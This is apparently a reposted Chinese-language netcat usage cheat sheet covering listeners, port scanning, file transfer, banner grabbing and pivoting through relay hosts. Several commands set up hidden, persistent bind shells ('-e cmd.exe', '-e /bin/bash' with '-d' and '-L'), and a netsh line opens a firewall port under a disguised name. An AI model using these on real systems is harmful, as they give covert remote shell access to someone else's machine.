nc用法


NC 在客戶端 和 服務器執行
---------------------------------------------------------------------------------------------------------------------------------------------------
執行命令  -l 表示在服務器端啟用監聽模式
      -p 指定監聽的端口
      -e 指定允許遠程客戶端訪問監聽端口時執行的程序  
例如:
在遠程服務器端執行 NC -l -p 12345  -e cmd.exe   //表示在(windows)服務器監聽12345端口,如果遠程客戶端訪問12345端口將會將本地cmd.exe反 彈給客戶端執行。
                   nc -l -p 12345  -e /bin/bash    //在(linux)服務器監聽12345端口,如果遠程客戶端訪問12345端口會將本地bash反彈給客戶端執行。

在本地客戶端執行     nc 服務器ip 12345             //  連接服務器的12345端口,如果服務器端指定連接時執行的程序,會將服務器端的cmd.exe等反彈給客戶端。
---------------------------------------------------------------------------------------------------------------------------------------------------

其他命令


-d隱藏服務在后台運行         

         nc -l -p 12345 -e cmd.exe -d    //隱藏窗口服務后台運行

0.71版本   -d 2  設置延遲2秒后執行命令

-L不斷打開nc進程,不斷開隨時連接

     nc -l -p 12345 -e cmd.exe -d  -L

-k 服務器端允許多個客戶端連接數

-n  不做域名解析

-v/-vv 顯示詳細信息

-z syn掃描  -r隨機端口  -i 設置延遲掃描

    nc -v 192.168.113.1 21,80,443
    nc -v 192.168.113.1 1-200
    nc -v 192.168.113.1 http
輸出重定向
        nc -l -p 12345 > test    //輸出到test
                           >>           //追加到不覆蓋原有內容

-u  使用udp模式

---------------------------------------------------------------------------------------------------------------------------------------------------
可以交互聊天
        nc -n -l -u -p 53
        nc -n -u  ip 53
--------------------------------------------------------------------------------------------------------------------------------------------------
文件傳輸

遠程服務端      nc -l -p 12345 < test.txt     //遠程服務器端執行,將服務器端test.txt發送給客戶機
本地客戶機            nc  ip 12345 > test.txt  //客戶端執行,連接服務器獲取test.txt

本地做服務器    nc -l -p 12345 > test.txt
遠程客戶機    nc ip 12345 < test.txt

-w 2 傳輸完成后2秒后斷開

-o test  抓包保存至test

---------------------------------------------------------------------------------------------------------------------------------------------------

獲取信息,下載

        nc ip 22  //獲取某ip的ssh服務信息

        nc  域名 port
        GET / HTTP/1.0
        HEAD / HTTP/1.0   獲取服務信息  兩次回車
---------------------------------------------------------------------------------------------------------------------------------------------------
跳板

A主機        nc  b_ip 33333                          //第三步連接b主機33333端口相當於訪問c主機55555端口
B主機        nc -l -p 33333 | nc c_ip 55555   //第二步B主機連接C主機55555端口並通過管道轉至本機通過33333端口監聽
C主機        nc -l -p 55555                           //第一步在C主機監聽55555端口 
        
----------------------------------------------------------------------------------------------------------------------------------------------------

netsh firewall show opmode  顯示防火牆工作模式
netsh firewall set opmode mode = enable exceptions =enable profile =all
netsh firewall add portopening tcp 1234 "Windows Firewall Reporting Agent" enable all
netsh firewall show portopening

        


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM